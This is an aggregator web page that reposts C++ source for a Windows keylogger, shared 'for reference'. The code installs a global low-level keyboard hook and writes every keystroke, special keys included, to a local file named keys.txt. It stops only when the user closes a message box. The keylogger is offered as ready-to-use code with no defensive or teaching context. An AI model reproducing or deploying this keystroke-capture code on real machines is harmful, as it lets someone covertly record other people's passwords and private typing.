Windows下C++通过Hooks记录键盘敲击记录
发布时间:2020-12-16 07:44:19 所属栏目:百科 来源:网络整理
导读:今天PHP站长网 52php.cn把收集自互联网的代码分享给大家,仅供参考。 #define _WIN32_WINNT 0x0500 #includefstream#includewindows.h using namespace std; ofstream out("keys.txt",ios::out); LRESULT CALLBACK keyboa
以下代码由PHP站长网 52php.cn收集自互联网 现在PHP站长网小编把它分享给大家,仅供参考 #define _WIN32_WINNT 0x0500 #include<fstream> #include<windows.h> using namespace std; ofstream out("keys.txt",ios::out); LRESULT CALLBACK keyboardHookProc(int nCode,WPARAM wParam,LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p->vkCode) { // Invisible keys case VK_CAPITAL: out << "<CAPLOCK>"; break; case VK_SHIFT: out << "<SHIFT>"; break; case VK_LCONTROL: out << "<LCTRL>"; break; case VK_RCONTROL: out << "<RCTRL>"; break; case VK_INSERT: out << "<INSERT>"; break; case VK_END: out << "<END>"; break; case VK_PRINT: out << "<PRINT>"; break; case VK_DELETE: out << "<DEL>"; break; case VK_BACK: out << "<BK>"; break; case VK_LEFT: out << "<LEFT>"; break; case VK_RIGHT: out << "<RIGHT>"; break; case VK_UP: out << "<UP>"; break; case VK_DOWN: out << "<DOWN>"; break; // Visible keys default: out << char(tolower(p->vkCode)); } } return CallNextHookEx(NULL,nCode,wParam,lParam); } int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) { // Set windows hook HHOOK keyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL,keyboardHookProc,hInstance,0); MessageBox(NULL,"Press OK to stop logging.","Information",MB_OK); out.close(); return 0; } 以上内容由PHP站长网【52php.cn】收集整理供大家参考研究 如果以上内容对您有帮助,欢迎收藏、点赞、推荐、分享。 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |